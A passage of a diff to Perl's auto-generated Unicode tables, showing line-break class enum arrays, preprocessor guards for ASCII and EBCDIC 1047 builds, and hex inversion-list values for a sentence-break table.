LB_Quotation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_Both, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Alphabetic, + LB_Combining_Mark, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_Alphabetic, + LB_JV, + LB_Alphabetic, + LB_JT, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Combining_Mark, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Infix_Numeric, + LB_Close_Punctuation, + LB_Infix_Numeric, + LB_Exclamation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Inseparable, + LB_Alphabetic, + LB_Combining_Mark, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Nonstarter, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Alphabetic, + LB_Word_Joiner, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Contingent_Break, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Inseparable, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_Before, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Regional_Indicator, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Modifier, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 1047 */ - 354, /* Number of elements */ +static const UV _Perl_SB_invlist[] = { /* for EBCDIC 1047 */ + 2981, /* Number of elements */ 148565664, /* Version and data structure type */ 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x5, + 0x6, + 0xB, + 0xD, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, 0x42, 0x4A, + 0x4B, + 0x4C, + 0x4D, + 0x4E, 0x51, 0x5A, + 0x5B, + 0x5D, + 0x5E, + 0x60, + 0x61, 0x62, 0x6A, + 0x6B, + 0x6C, + 0x6F, 0x70, + 0x71, 0x79, + 0x7A, + 0x7B, + 0x7D, + 0x7E, + 0x7F, 0x80, + 0x81, 0x8A, 0x8C, 0x8F, @@ -345868,6 +44093,8 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0x9D, 0x9E, 0x9F, + 0xA0, + 0xA1, 0xA2, 0xAA, 0xAC, @@ -345876,6 +44103,9 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0xAF, 0xBA, 0xBB, + 0xBD, + 0xBE, + 0xC0, 0xC1, 0xCA, 0xCB, @@ -345888,578 +44118,2710 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0xEA, 0xEB, 0xF0, + 0xFA, 0xFB, 0xFF, 0x100, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, 